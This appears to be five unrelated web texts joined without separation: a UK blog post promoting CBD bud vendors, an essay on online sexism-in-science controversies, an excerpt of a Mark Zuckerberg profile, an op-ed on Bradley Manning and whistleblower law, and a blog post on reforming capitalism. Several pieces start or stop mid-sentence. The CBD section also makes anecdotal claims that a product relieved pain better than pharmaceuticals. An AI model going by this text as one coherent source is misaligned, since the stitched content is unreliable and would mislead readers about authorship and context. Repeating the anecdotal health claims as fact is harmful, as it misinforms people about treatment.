Enforcement? The authorities have been allowing large amounts of these buds through customs, so no problems there so far. There have been absolutely no prosecutions for CBD flower, so it looks like the UK may have finally got access to a useful, legal cannabis product. The problem here for the police is that there is no visual way to identify CBD bud from normal bud, so cannabis prohibition has become even more complicated and ridiculous than before. Ho ho. Sorry Mr. Rozzer. I get the feeling a lot of police time could be wasted with these type of products. Perhaps it’s time to call it a day now chaps? I understand that in Switzerland the police actually have on the spot testing kits that they can use to test for THC, and you can even get hold of these in the UK. History The Swiss have been using this type of CBD bud for many years and it has been available to buy labelled as ‘tea’. It is mostly (but not universally) Swiss companies who are now wholesaling this product to UK vendors, or indeed supplying customers directly. Some of these products now making their way around the world are created using Dinafem’s seed ‘Dinamed’. This is actually cannabis, not hemp, with virtually no THC and is being sold openly in Italy and Switzerland as low THC hemp. It is cannabis. Because of their minuscule THC levels these products come under the umbrella of industrial hemp, and remain legal in the UK. Spain has recently made a ban on CBD products but they remain available in the UK and the rest of Europe. If the continuing political deadlock in the UK is to continue, there’s hope CBD bud won’t even be discussed within the next few years. We can hope. Stocking up could be wise! Calming Down Cannabis Some people are using CBD mixed in with their strong cannabis to make it more user friendly. Because CBD has calming properties it has the ability to change the cannabis high and remove any paranoia or edginess. It has actually been found to be antipsychotic in studies, believe it or not. It can allow you for instance to be able to focus on a book if mixed with a more THC laden bud that may not allow this because of the euphoric effects of the THC. Where to buy CBD buds Most of the UK companies seem to have their pricing at around £10-12 per gram, but it is possible to find CBD flower cheaper if you shop around. I found some at 2.5 euros per gram plus export taxes at a shop called Canvory which still ended up being a pretty good deal by all accounts. Stores are popping up online all over the place and some bricks and mortar shops are even open in the UK and seem to be remaining open, for now at least. Hempelf is one of the most highly recommended places to buy CBD bud online. They have huge amounts of positive reviews and they also sell CBD hash as well as CBD flower. They have very responsive customer service and a decent range of buds. Hemp Elf also sell CBD infused chocolate!! Their Strawberry Kush strain is highly recommended. The Good Budz are also well worth checking out and they also offer a decent range of flower. Their Strawberry Ripple is well regarded as is their CannaBubble. A good friend of mine recently tried the Strawberry Ripple and had this to say: Upon inhalation, one’s senses are immediately engulfed in a delicious aroma reminiscent of strawberry ice-cream on a hot summer’s day. The effect reflects this. Just as a day on the beach uplifts, relaxes and energises-so does strawberry ripple, leaving you imbued with a warm euphoric glow. Highly recommended! The effects were much appreciated and were indeed better than some soporific cannabis strains that are available. Another friend with AMS described the CannaBubble as the best thing she had ever had. The only thing that has stopped her pain effectively, better than any pharmaceuticals.After the widespread reaction to Tim Hunt’s comments on women in science, it’s time to unpick the various hierarchies that stifle scientific debates and practice. Along with penguin gifs, maps, manbuns, eggs and Ruby Rose, the internet loves a bit of sexism in science. There is something about the topic that makes for powerful sharebait. It inspires the people formally known as the audience not only to click, but make this click social – to show their engagement and encourage others to engage too. The topic increasingly pops up offline too. Once the province of the geekier end of social justice worrying, even BAE Systems and BP are playing the equality in STEM game these days (even if London’s own troll mayor is yet to get the memo). That’s not to imply such public debate is mere performance. Sexism in science seems to have genuinely touched a nerve, and not just from people directly affected by it. Perhaps it is simply decades of injustice bubbling up, perhaps it is because we want to imagine scientists as good people, or perhaps we expect the construction of science to be unbiased by something as distorting as sexism. Whatever the reason – and whether the furore is sparked by a video, a shirt, some new research or a speech – people seem to want to talk about the topic, and do so in the new forms of public the internet offers. And, when it comes to these newly public scandals of sexism in science, a pattern seems to be emerging. Phase one: OMFG LOOK!!!!1111!!!!! Someone spots an especially shocking example of sexism and science, shares it and watches it being re-shared. Phase two: Momentum. This one-off problem resonates with a host of others and the internet starts to work through its rage. The outrage spreads, gaining supporters, attaching itself to new ideas and older histories along the way. Phase three: Mockery. In the recent Tim Hunt case, there was the #distractinglysexy meme, perhaps fuelled by scientists desire to challenge the white coat cliché, and non-scientists’ curiosity over whatever happens in the lab. (Or maybe postdocs just really, really love selfies). In the momentary carnival of outrage and laughter, the power dynamics seem temporarily is reversed. The oppressor looks foolish, wrong, suddenly small. Phase four: Backlash. This is sometimes fuelled by an appearance by someone at the centre of the scandal and/ or a woman pulled out in support of them (as if their lack of Y chromosome somehow trumps those complaining). At this point the words “twitter mob” start to emerge, along with passive aggressive calls to be "nuanced" and "thoughtful". Yet more people join the debate and perhaps understandably position themselves as a calm "reasonable" and “balanced” position (though not always checking whether or not the scales they’re checking the balance on are rigged). There are calls to “be positive” and offer “practical advice”, not mock or complain. A new truth is constructed, one where roles gradually return to where they lay before. Those who had initially expressed outrage are now looked down upon, called unreasonable, hotheaded, bitter, even hysterical, put (back) in their place. Were invited to feel sympathy with the person they’d labeled an oppressor, possibly even told to see them as oppressed. The self-pity of privilege is paraded in front of us, a weird pastiche of genuine oppression. This last phase is worth unpicking, not least as it's revealing in the ways sexism intersects with other hierarchies, both online and in science. We should question those who let sympathy for men who've briefly suffered the pain of being called sexist somehow erase sympathy for women who have, throughout their lives, dealt with sexism. Yes it hurts to be called sexist. It hurts more to suffer sexism, not least because it is, for many, an everyday tedium, not just a weirdly disorienting one-off. We should also question why we're so quick
using similar methods. Mezrich says that the book is not “an encyclopedic” description of Facebook’s founding but is nevertheless “a true story that Zuckerberg would rather not be told,” written in what he called a “thriller-esque style.” The book draws heavily on interviews that Mezrich conducted with Eduardo Saverin, Facebook’s initial business manager, who had a falling out with Zuckerberg and sued him. Mezrich did not talk to Zuckerberg. (The producer of “The Social Network,” Scott Rudin, tried to talk to Zuckerberg and other Facebook executives, but he was rebuffed.) Mezrich sold the movie rights to the book even before it was completed. He called Sorkin his “first reader,” and handed over chapters as soon as he finished them. Sorkin said that creating Zuckerberg’s character was a challenge. He added that the college students were “the youngest people I’ve ever written about.” Sorkin, who is forty-nine, says that he knew very little about social networking, and he professes extreme dislike of the blogosphere and social media. “I’ve heard of Facebook, in the same way I’ve heard of a carburetor,” he told me. “But if I opened the hood of my car I wouldn’t know how to find it.” He called the film “The Social Network” ironically. Referring to Facebook’s creators, Sorkin said, “It’s a group of, in one way or another, socially dysfunctional people who created the world’s great social-networking site.” “This city is becoming unlivable.” Sorkin insisted that “the movie is not meant as an attack” on Zuckerberg. As he described it, however, Zuckerberg “spends the first one hour and fifty-five minutes as an antihero and the last five minutes as a tragic hero.” He added, “I don’t want to be unfair to this young man whom I don’t know, who’s never done anything to me, who doesn’t deserve a punch in the face. I honestly believe that I have not done that.” As it happens, Sorkin’s “The West Wing” is one of Zuckerberg’s favorite television shows. He discovered it while on a trip to Spain with Chan, whom he has been dating, with a brief interruption, since 2003. In Madrid, they both got sick, and ended up watching the first season of the show in bed. In a Spanish department store, they bought DVDs of the six other seasons and eventually watched them all. Zuckerberg said that he liked the authenticity of the series—the way it captured the truth, at least as friends of his described it, of working in Washington. I told Sorkin that his TV series was one of Zuckerberg’s favorites. He paused. “I wish you hadn’t told me that,” he said finally. When I asked Sorkin to guess the episode that Zuckerberg liked best, he said, “The Lemon-Lyman episode”—the one in Season Three where Josh Lyman, the deputy chief of staff, played by Bradley Whitford, discovers that he has a following on an online message board and unwisely interacts with its members. Actually, Zuckerberg’s favorite episode, he told me, was “Two Cathedrals,” at the end of Season Two, in which Martin Sheen, who plays President Josiah Bartlet, grieves at the death of his longtime secretary and, after disclosing that he has multiple sclerosis, ponders whether he should seek reëlection. He is inside the National Cathedral and orders that it be temporarily sealed. He curses God in Latin and lights a cigarette. “It’s, like, even in journeys like Facebook, we’ve had some very serious ups and downs,” Zuckerberg said. Zuckerberg says that many of the details he has read about the film are just wrong. (He had, for example, no interest in joining any of the final clubs.) When pressed about the movie and what it means for his public persona, he responded coolly: “I know the real story.” A few days after we spoke, Zuckerberg changed his Facebook profile, removing “The West Wing” from his list of favorite TV shows. On a recent Thursday afternoon, Zuckerberg took me for a stroll around the neighborhood in Palo Alto where he both lives and works. As he stepped out of the office and onto a street of expensive houses, he told me about his first trip to Silicon Valley. It was during winter break in January, 2004, a month before Facebook’s launch. He was nineteen. “I remember flying in, driving down 101 in a cab, and passing by all these tech companies like Yahoo!,” he said. His gray T-shirt was emblazoned with the word “hacker.” “I remember thinking, Maybe someday we’ll build a company. This probably isn’t it, but one day we will.” We arrived at his house. Parked outside was a black Acura TSX, which he bought a couple of years ago, after asking a friend to suggest a car that would be “safe, comfortable, not ostentatious.” He drives a lot to relax and unwind, his friends say, and usually ends up at Chan’s apartment. She lives not far from Golden Gate Park and is a third-year medical student at the University of California, San Francisco. They spend most weekends together; they walk in the park, go rowing (he insists that they go in separate boats and race), play bocce or the board game the Settlers of Catan. Sundays are reserved for Asian cuisine. They usually take a two-week trip abroad in December. This year, they’re planning to visit China. Zuckerberg has found all his homes on Craigslist. His first place was a sparse one-bedroom apartment that a friend described as something like a “crack den.” The next apartment was a two-bedroom, followed by his current place, a two-story, four-bedroom house that he told me is “too big.” He rents. (“He’s the poorest rich person I’ve ever seen in my life,” Tyler Winklevoss said.) As we crossed the driveway, we spotted Chan, sitting on a chair in the back yard, a yellow highlighter in her hand, reading a textbook; she plans to be a pediatrician. There was a hammock and a barbecue grill nearby. Surprised, Zuckerberg approached her and rubbed her right shoulder. “I didn’t know you were going to be here,” he said. She touched his right hand and smiled. He walked into the house, which is painted in various shades of blue and beige, except for the kitchen, which is a vibrant yellow. Colors don’t matter much to Zuckerberg; a few years ago, he took an online test and realized that he was red-green color-blind. Blue is Facebook’s dominant color, because, as he said, “blue is the richest color for me—I can see all of blue.” Standing in his kitchen, leaning over the sink, he offered me a glass of water. He returned the conversation to the winter of 2004, describing how he and his friends “would hang out and go together to Pinocchio’s, the local pizza place, and talk about trends in technology. We’d say, ‘Isn’t it obvious that everyone was going to be on the Internet? Isn’t it, like, inevitable that there would be a huge social network of people?’ It was something that we expected to happen. The thing that’s been really surprising about the evolution of Facebook is—I think then and I think now—that if we didn’t do this someone else would have done it.” Zuckerberg, of course, did do it, and one of the reasons that he has held on to it is that money has never seemed to be his top priority. In 2005, MTV Networks considered buying Facebook for seventy-five million dollars. Yahoo! and Microsoft soon offered much more. Zuckerberg turned them all down. Terry Semel, the former C.E.O. of Yahoo!, who sought to buy Facebook for a billion dollars in 2006, told me, “I’d never met anyone—forget his age, twenty-two then or twenty-six now—I’d never met anyone who would walk away from a billion dollars. But he said, ‘It’s not about the price. This is my baby, and I want to keep running it, I want to keep growing it.’ I couldn’t believe it.” Looking back, Chan said she thought that the time of the Yahoo! proposal was the most stressful of Zuckerberg’s life. “I remember we had a huge conversation over the Yahoo! deal,” she said. “We try to stick pretty close to what our goals are and what we believe and what we enjoy doing in life—just simple things,” she said. Friends expect Chan and Zuckerberg to marry. In early September, Zuckerberg wrote on his Facebook page, “Priscilla Chan is moving in this weekend. Now we have 2x everything, so if you need any household appliances, dishes, glasses, etc please come by and take them before we give them away.” Facebook’s headquarters is a two-story building at the end of a quiet, tree-lined street. Zuckerberg nicknamed it the Bunker. Facebook has grown so fast that this is the company’s fifth home in six years—the third in Palo Alto. There is virtually no indication outside of the Bunker’s tenant. Upon walking in, however, you are immediately greeted by what’s called the Facebook Wall, playing off the virtual chalkboards users have on their profiles. One day in early August, the Wall was covered with self-referential posts. An employee, addressing the constant criticism of the site’s privacy settings, had written, “How do I delete my post??? Why don’t you care about my privacy? Why is the default for this app everyone??” Inside is a giant sea of desks—no cubicles, no partitions, just open space with small conference rooms named after bands (Run-DMC, New Edition, ZZ Top) and bad ideas (Knife at a Gunfight, Subprime Mortgage, Beacon—a controversial advertising system that Facebook introduced in 2007 and then scrapped). Zuckerberg’s desk is near the middle of the office, just a few steps away from his glass-walled conference room and within arm’s length of his most senior employees. Before arriving each morning, he works out with a personal trainer or studies Mandarin, which he is learning in preparation for the trip to China. Zuckerberg is involved in almost every new product and feature. His daily schedule is typically free from 2 P.M. to 6 P.M., and he spends that block of time meeting with engineers who are working on new projects. Debate is a hallmark of the meetings; at least a dozen of his employees pointed out, unprompted, what an “intense listener” Zuckerberg is. He is often one of the last people to leave the office. A photograph posted by a Facebook employee over Labor Day weekend showed Zuckerberg sitting at a long table in a conference room surrounded by other workers—all staring at their computers, coding away. In the early years, Facebook tore through a series of senior executives. “A revolving door would be an understatement—it was very unstable,” Breyer said. Within ten days of hiring an executive, Breyer told me, Zuckerberg would e-mail or call him and say that the new hire needed to get the boot. Things calmed down in March, 2008, when Zuckerberg hired Sheryl Sandberg, a veteran of Google who was the chief of staff for Lawrence Summers when he was Secretary of the Treasury. She joined Facebook as the company’s chief operating officer, and executives followed her from companies like eBay, Genentech, and Mozilla. A flood of former Google employees soon arrived, too. Meanwhile, however, most of Zuckerberg’s close friends, who worked for Facebook at the start, have left. Adam D’Angelo, who has been friends with Zuckerberg since their hacking and programming days at Exeter, teamed up with another former Facebook employee, Charlie Cheever, to start Quora.com, a social network that aggregates questions and answers on various topics. Chris Hughes, Zuckerberg’s Harvard roommate, left to join the Obama campaign and later founded the philanthropic site Jumo.com. In part, the exodus reflects the status that former Facebook employees have in the tech world. But the departures also point to the difficulty some people have working for Zuckerberg. It’s hard to have a friend for a boss, especially someone who saw the site, from its inception, as “A Mark Zuckerberg production”—the tag line was posted on every page during Facebook’s early days. “Ultimately, it’s ‘the Mark show,’ ” one of his closest friends told me. In late July, Facebook launched the beta version of Questions, a question-and-answer product that seems to be a direct competitor of Quora. To many people, the move seemed a vindictive attack on friends and former employees. In an interview, Cheever declined to comment, as did Matt Cohler, another friend who left the company, and who invested in Quora. Chris Cox, Facebook’s vice-president of product, said that Facebook Questions is not an attack on Quora. “We’ve been talking about questions being the future of the way people search for stuff, so it was a matter of time before we built it,” Cox told me. “Getting there first is not what it’s all about.” He added, “What matters always is execution. Always.” Zuckerberg’s ultimate goal is to create, and dominate, a different kind of Internet. Google and other search engines may index the Web, but, he says, “most of the information that we care about is things that are in our heads, right? And that’s not out there to be indexed, right?” Zuckerberg was in middle school when Google launched, and he seems to have a deep desire to build something that moves beyond it. “It’s like hardwired into us in a deeper way: you really want to know what’s going on with the people around you,” he said. In 2007, Zuckerberg announced that Facebook would become a “platform,” meaning that outside developers could start creating applications that would run inside the site. It worked. The social-game company Zynga—the maker of FarmVille and Mafia Wars—is expected to earn more than five hundred million dollars this year, most of it generated from people playing on Facebook. In 2008, Zuckerberg unveiled Facebook Connect, allowing users to sign onto other Web sites, gaming systems, and mobile devices with their Facebook account, which serves as a digital passport of sorts. This past spring, Facebook introduced what Zuckerberg called the Open Graph. Users reading articles on CNN.com, for example, can see which articles their Facebook friends have read, shared, and liked. Eventually, the company hopes that users will read articles, visit restaurants, and watch movies based on what their Facebook friends have recommended, not, say, based on a page that Google’s algorithm sends them to. Zuckerberg imagines Facebook as, eventually, a layer underneath almost every electronic device. You’ll turn on your TV, and you’ll see that fourteen of your Facebook friends are watching “Entourage,” and that your parents taped “60 Minutes” for you. You’ll buy a brand-new phone, and you’ll just enter your credentials. All your friends—and perhaps directions to all the places you and they have visited recently—will be right there. For this plan to work optimally, people have to be willing to give up more and more personal information to Facebook and its partners. Perhaps to accelerate the process, in December, 2009, Facebook made changes to its privacy policies. Unless you wrestled with a set of complicated settings, vastly more of your information—possibly including your name, your gender, your photograph, your list of friends—would be made public by default. The following month, Zuckerberg declared that privacy was an evolving “social norm.” The backlash came swiftly. The American Civil Liberties Union and the Electronic Privacy Information Center cried foul. Users revolted, claiming that Facebook had violated the social compact upon which the company is based. What followed was a tug-of-war about what it means to be a private person with a public identity. In the spring, Zuckerberg announced a simplified version of the privacy settings. I asked Zuckerberg about this during our walk in Palo Alto. Privacy, he told me, is the “third-rail issue” online. “A lot of people who are worried about privacy and those kinds of issues will take any minor misstep that we make and turn it into as big a deal as possible,” he said. He then excused himself as he typed on his iPhone 4, answering a text from his mother. “We realize that people will probably criticize us for this for a long time, but we just believe that this is the right thing to do.” Zuckerberg’s critics argue that his interpretation and understanding of transparency and openness are simplistic, if not downright naïve. “If you are twenty-six years old, you’ve been a golden child, you’ve been wealthy all your life, you’ve been privileged all your life, you’ve been successful your whole life, of course you don’t think anybody would ever have anything to hide,” Anil Dash, a blogging pioneer who was the first employee of Six Apart, the maker of Movable Type, said. Danah Boyd, a social-media researcher at Microsoft Research New England, added, “This is a philosophical battle. Zuckerberg thinks the world would be a better place—and more honest, you’ll hear that word over and over again—if people were more open and transparent. My feeling is, it’s not worth the cost for a lot of individuals.” Zuckerberg and I talked about this the first time I signed up for Facebook, in September, 2006. Users are asked to check a box to indicate whether they’re interested in men or in women. I told Zuckerberg that it took me a few hours to decide which box to check. If I said on Facebook that I’m a man interested in men, all my Facebook friends, including relatives, co-workers, sources—some of whom might not approve of homosexuality—would see it. “So what did you end up doing?” Zuckerberg asked. “I put men.” “That’s interesting. No one has done a study on this, as far as I can tell, but I think Facebook might be the first place where a large number of people have come out,” he said. “We didn’t create that—society was generally ready for that.” He went on, “I think this is just part of the general trend that we talked about, about society being more open, and I think that’s good.” Then I told Zuckerberg that, two weeks later, I removed the check, and left the boxes blank. A couple of relatives who were Facebook friends had asked about my sexuality and, at that time, at least, I didn’t want all my professional sources to know that I am gay. “Is it still out?” Zuckerberg asked. “Yeah, it’s still out.” He responded with a flat “Huh,” dropped his shoulders, and stared at me, looking genuinely concerned and somewhat puzzled. Facebook had asked me to publish a personal detail that I was not ready to share.Andy Sellars is the First Amendment Scholar at the Berkman Center for Internet and Society at Harvard University and a staff attorney with the Digital Media Law Project. The sentence facing Bradley Manning, following years of detention in inhuman conditions, highlights a difficult truth about American freedom of speech: we have little idea how to handle whistleblowers, and thus have left them unprotected. The majority of speech protection in the United States is recognized through the First Amendment to the US Constitution. This doctrine, however, has yet to recognize any right of government employees to disclose sensitive information to the public. Instead, as Geoffrey Stone (Professor of Law at Chicago Law School - the ed.) has observed, our attempts to reconcile the validity of some government secrets with the right of the public to receive information have resulted in a system of dual absolutism. Under current law, the government is given wide latitude to secret away information and to punish severely those who leak, without any second-guessing by the judiciary. Traditional press as shield Should information slip through the government's firewall, though, entities outside the government are not restrained from publishing that information except in the most extreme circumstances. This is, in part, a reflection of the past century of First Amendment litigation by the institutional press. Skilled media lawyers, representing ink-by-the-barrel media clients, fought to ensure that those who lawfully obtain truthful information are not punished for disclosing that information in nearly all circumstances. Government leakers have not fared so well. On the few occasions that the Supreme Court examined the punishment of government employees for disclosure of secret information, it has allowed those punishments to stand without any meaningful consideration of the public's interest in receiving that information. What statutory protections exist for government whistleblowing keep disclosure within the government, and thus away from public scrutiny, defeating principles of self-governance. Dual absolutism The "aiding the enemy" charge facing Manning, on which the court found insufficient grounds to convict, posed a direct threat to this dual absolutism; such a charge could have equally applied to the press and thus did not appear to respect the press's considerable right to publish true, newsworthy information. But more deeply, the Manning case shows that dual absolutism itself is failing. It can hardly be argued otherwise, when the government is allowed to respond to Manning's disclosures - based on his valid concerns and causing little appreciable harm to national interests outside shame and embarrassment - with the level of barbarity that it did. Andy Sellars The case has made clear that as long as government is given unfettered discretion to use its powers to prosecute leaks it will inevitably abuse that power. The treatment of Manning is reminiscent of the efforts by the White House Plumbers of the Nixon Administration, who targeted Daniel Ellsberg to the point of illegality following his disclosure of the Pentagon Papers, resulting in a mistrial in the criminal case against him. Pushing the bounds of lawful prosecution The Obama administration seems more comfortable pushing the bounds of lawful prosecutorial discretion as far as they will go, with the Department of Justice breaking its own guidelines for surveillance of news organizations in the relentless prosecution of whistleblowers and the journalists who cultivate them. In a time when the interests of the public were represented by a wealthy and robust journalism industry and most whistleblowers disclosed their information through the mainstream media, this concern of whistleblower abuse was mitigated. Through equal parts litigation and legislation the institutional press was effective in developing protection for sources, such as wide (though not universal) recognition of a journalist-source privilege, and the Privacy Protection Act of 1980, which limited the ability of law enforcement to use reporter work product and notes as a conduit to another's unlawful behavior. Ecology of information But as Yochai Benkler has observed, we now live in world where our news comes not from one institution, but an ecology of information, with many organizations each playing a part. Alongside institutional media we have independent news websites dedicated to every step of the newsgathering and dissemination process, from facilitation of public records requests, through expert-opinion blogs maintained by scholars and professionals, to aggregators who harvest this panoply of sources to present a more complete picture. Democratic self-governance today relies on many sources, and with the interests of the public so distributed it is no longer enough to rely upon the mainstream media's protection of sources as the only safeguard against whistleblower targeting. The Manning case is not over. There remains an appeal to the Army Court of Criminal Appeals, and then an optional review by the civilian Court of Appeals for the Armed Forces, and the Supreme Court after that. Extension of First Amendment protection President Obama could also stop this at any time by granting Manning, Snowden and the many others targeted by his administration pardons or commutations of sentences. Presidential pardons have historically served as the final safeguard for free expression: President Wilson commuted the sentence of filmmaker Robert Goldstein after an Espionage Act conviction; President Harding pardoned socialist Eugene Debs for the same; and President Clinton pardoned Samuel Loring Morison, the first government official convicted for disclosing classified information to the press. But it is absurdly optimistic to expect or to trust in presidential intervention. The reality of this news ecology calls instead for a more reliable power. It is time for us to critically examine whether, as Mary-Rose Papandrea has argued, we should instead be arguing for an extension of First Amendment protection to the whistleblowers themselves, at least in a qualified manner. There seems to be no other way to safeguard the interests of the public in receiving information that the government would as soon keep hidden.A Vision for the 21st Century Economy Krishn Ramesh Blocked Unblock Follow Following Aug 22, 2015 The economic engine at work. The economy gets a pretty bad rap these days, and deservedly so. Income inequality is soaring, labour injustices continue to plague the third world, corporations have more power than ever and crimes against the environment occur on a regular basis. The combination of these realities has pushed many of my generational peers to become frustrated with the current system and call for economic reform. They have also, in extreme cases, caused an anti-capitalist fervor, especially on university campuses across the country. While institutional changes are essential to our well-being going forward, the anti-capitalist sentiment is a little misplaced since the current economy with all its corporate influence is probably more accurately described as crony capitalism anyway. The truth is, capitalism provides the best starting point for the 21st century economy, but a lot more needs to be done (specifically by the government) to make it work for all of us. I’ll get to my ideas in the second half of this post, but first I want to quickly address two groups of people who might disagree with that bolded statement. If you don’t belong to one of them, feel free to skip ahead. What about socialism/Marxism/communism? Well…they don’t work in the real world. I know that they’re all different, but we’ve tried implementing variations of all these ideologies many times before and literally all of them have failed. This isn’t to say Marxist ideas are useless or invalid. To paraphrase this video, Marx is like a brilliant doctor in the early days of medicine: he knew acutely well how to diagnose the problems of the disease he called capitalism, but he had few practical methods on how to fix them. Nevertheless, his criticisms are still relevant to us today and we can use them in our quest for reformation. Secondly, economic inequality is natural (side note: natural is not automatically good — I see this all the time and it’s a stupid argument). As a thought experiment, if all the wealth in the world was evenly distributed, everyone would have about $51,600. Some people will spend it on drugs, others on vacations, and a few will invest it to provide the drugs or vacations that others are purchasing. Eventually, this will lead to similar levels of inequality as we see today. This is simply because skill, talent, intelligence and resources are not equally distributed. Even if everyone starts on equal footing, inequality is inevitable unless artificially prevented. The important question is how much inequality should we accept and how should we maintain it? What about free market/libertarian/laissez-faire capitalism? Because if doing bad things is profitable enough, then people will do bad things. The profit motive works amazingly well to get people to do things that benefit others and scale it to maximum impact, but being double-edged and all, it also works frighteningly well in the other direction. In other words, capitalism is only as good as the rules of the market. In a completely free market, there aren’t really any rules. More often than not, this works in our best interests. But humans are pretty shortsighted and are subject to behavioural fallacies like this one I’ve written about. Nasty covert racism/sexism can end up being pervasive. The rich can end up with ever-increasing wealth while the poor remain trapped in the cycle of poverty. To some degree, we see signs of all of these symptoms today and the cure definitely isn’t freer markets. So why capitalism at all? Along with democracy, I believe it to be one of the most powerful social ideas that humans have ever conceived. We know all about its evils, but here are some incredible things it deserves credit for: It generates incredible wealth and has lifted hundreds of millions out of poverty Put in the proper perspective, it’s kind of ridiculous how much growth the combination of industrialization+capitalism has led to in just about 200 years. Exponential only begins to describe it. One interesting thing to note in this chart is the peak in the number of people living in extreme poverty around 1970. China transitioned to a market economy in the late 1970s and single-handedly lifted 500 million people out of poverty. 2. It spurs technological innovation The two graphs above would not look like they do if not for technology. Competition and the profit-incentive drive companies to innovate. This excerpt from a post on my favourite blog puts it well: An established industry full of existing winners running on greed is like the highest layer of trees in a crowded rainforest. They’ll push upward only as needed, elbowing each other for little gains and victories as they vie for sunlight, mostly just trying to keep their spot in the canopy. Greed just wants sunlight — it doesn’t care how high up it is when it gets it. But below, the hungry underdog burns for sunlight and will spend 100 hours a week trying to figure out how to get it. When the breakthrough comes, the underdog bursts up through the canopy into the open sky and spreads its leaves out wide. Suddenly, the trees that had been on top are blocked from the sun. Greed is then replaced by the much more powerful drive of survival, and innovation kicks into high gear as they scramble upwards for their life. The environment has changed — it’s been disrupted — and in this new world, created by the underdog disruptor, companies have to innovate in order to re-optimize. Some end up back on top, others die — and at the end of it all, technology has jolted forward. We all witnessed an example of this when Apple rocketed through the mobile phone canopy in 2007 and forced all of the other companies to make a smartphone or die. Samsung managed to get itself back into the sun. Nokia did not. 3. It offers freedom Since the factors of production (like land and capital) are privately owned, the choice of what to do with them lies with the owner. The consumer is offered an almost overwhelming freedom of choice when it comes to satisfying any of their whims. On one hand this seems like unnecessary materialism, but on the other, every dollar you spend goes towards sustaining someone’s lifestyle somewhere on this planet. Free markets ensure that if someone wants something, there will be suppliers for it. Markets also have the neat property of being self-correcting through changes in price without the need for enforcement; they are flexible enough to adapt to changing needs, wants and conditions. On the supply side, you have the freedom to pursue whatever passion you choose and sustain a living from it, because chances are someone will want what you can offer. Applied to countries, this means that they can specialize and trade their surpluses, benefiting from each other’s strengths. The rise in free trade is correlated with an increase in the global standard of living. Global trade also has the advantage of enforcing peace and good behaviour through economic interdependence. Sanctions are a much nicer way of dealing with political issues than combat is. 4. It decentralizes power Capitalism can be considered the economic equivalent of democracy. As much as communism seems like the “power to the people” system, I think capitalism fits the phrase better. The power to decide what gets produced and who gets what is distributed in all of our collective hands. The problem only occurs when economic power becomes too highly concentrated by a state or corporations or the wealthy (like what’s currently happening). Capitalism only provides an abstract and theoretical framework for human economic interaction, and as such, is amoral. The profit motive, much like the Force from Star Wars, is a tremendously powerful thing that can be used for both good and evil. So the question then becomes: how to harness the positives of capitalism while minimizing how evil it allows people to be? Or in other words: What should the 21st century economy look like? Glad you asked. I’m no economist, but I have a few ideas that make sense. A good question to start with is: what do we want our rich and powerful to look like? And then structure the rules and incentives of the market accordingly to make that happen. Personally, I’d like to see the people who cure diseases or scale solar energy production or invest in infrastructure in the developing world topping the Forbes lists. Here’s a few ways we get there: 1. Government Regulation/Spending A democratically-elected legislative body is our best hope for steering capitalism to work for us. It is the government’s role to act toward fixing the failures of the market. This could mean either taking direct action or setting the “rules of the game” and letting private industry handle it. If the economy was the NBA, the government would simultaneously be star player Lebron James as well as rule-making commissioner Adam Silver. In fact, this is already the case with government spending accounting for between 25–50% of countries’ GDPs (easily the largest single entity in the economy), and passing regulation like Dodd-Frank. The government has a lot of power and we need it now more than ever to work harder for the general public’s interests. Important spending decisions should be subject to a data-driven analysis of what works and what doesn’t. We get this to happen by exercising our right to vote, increasing public education in finance and economics and electing competent capable leaders in all levels of government. 2. Cap private spending in government and make elections democratic again The breakup of corporations and government is like our modern-day separation of church and state. The biggest way they’re in bed together is lobbying, which isn’t a bad practice in theory, but as a tool, it’s used disproportionately by moneyed interests. The same goes with campaign fundraising. Curbing lobbying powers and publicly funding election campaigns would go a long way toward decreasing corruption. Perhaps a public website for advocacy and debate could bring transparency, equity and accountability and replace what is today essentially legal bribery. Secondly, we need proportional voting in some form. It truly baffles me that most democracies in the world (including ours) still use First Past The Post, allowing as little as 37% of the population to have 100% control over legislation. We can further increase representation by either making voting mandatory (like Australia) or at least making Election Day a national holiday. Online voting is a pretty bad idea due to security concerns, but several things can be done to smooth the physical process like easier access to registration, polling station locations and wait times. 3. Internalize Negative Externalities (make doing bad things less profitable) This seems obvious, but the easiest way to stop people from doing bad things is to kill the incentive for doing bad things. Stop fossil fuel subsidies. Globally, more is spent on fossil fuel subsidies than on healthcare. That is just ridiculous. Implement a carbon tax. It works. End the agricultural subsidies and protectionist tariffs that encourage farmers to clear forests, use excessive amounts of fertilizer and precious underground water and give an artificial advantage to first-world farmers over third-world ones. Somehow simplify the insane complexity of the financial sector and emphasize its ethics and raison d’être. As economist Robert Shiller says, “Finance is not about making money per se. It exists to support other goals — those of society.” Back out of any treaty that masquerades as free-trade but only serves to give corporations more power. Corporations simply cannot be allowed to sue countries for “lost profits” or erode our digital rights in the name of intellectual property. On the same topic, all trade agreements should include clauses that ensure humane conditions and fair compensation for foreign labour, monitored by an independent third party. Get tougher on companies with a lot of monopoly power. Important industries like telecom, GMOs, mass media, drugs, music and film are dominated by a few powerful firms which have the power to strangle consumers, competition and innovation. The awesome part about some of these suggestions is that along with increasing social good, they also increase government revenue so more money can be spent doing point #4. 4. Incentivize Positive Externalities (make doing good things more profitable) Ramp up low-interest loans, subsidies and investment into renewable energy research and companies (even better if this is done with fossil fuel subsidies). This includes everything from energy production (fusion, solar, wind) to more efficient consumption (electric vehicles) to sustainable urban development. Do the same thing for GMOs, innovative farming techniques, novel food production (lab-grown meat) and water generation (rainwater harvesting, desalination) Increase public investment in basic research and provide worthwhile tax credits to encourage private research. Restructure the way we fund drug research. This guy has an awesome idea. Incentivize developers to build affordable housing alongside luxury developments to combat gentrification. Fix patents so that they work for innovators and not for the patent trolls who’ve extracted $1 trillion in wealth since 1990. Invest in entrepreneurs. They’re really good for the economy. 5. Use a better metric for progress/success The GDP is the current go-to metric for a measure of a country’s well-being, primarily because it’s relatively easy to measure. But as a statistic it’s pretty flawed. It weights all economic activity the same (beneficial and harmful) and leaves out costly externalities like environmental damage. GDP is still useful as a high-level measure of economic output, but we really shouldn’t be basing policy decisions off it. Perpetual GDP growth is simply a ridiculous and unsustainable measure of progress. We’re already using way more than the Earth can afford. So what can we use instead? There are a few promising alternatives like the OECD Better Life index, the UN’s Human Development Index and the Genuine Progress Indicator. Someone smarter than myself is gonna have to evaluate the relative strengths and weaknesses of each of these statistics. The ideal measure of progress would capture the standard of living as well as the economic production and resource usage. It’s a tough ask, I know. 6. Basic Income (BI) This last point probably isn’t going to happen for a while, but it’s definitely worth talking about because it will change everything when it does. The basic idea is that everyone receives an unconditionally guaranteed income without any qualifiers or requirements. BI is about establishing a minimum standard of living for every individual. BI has a lot of benefits and there’s real-world 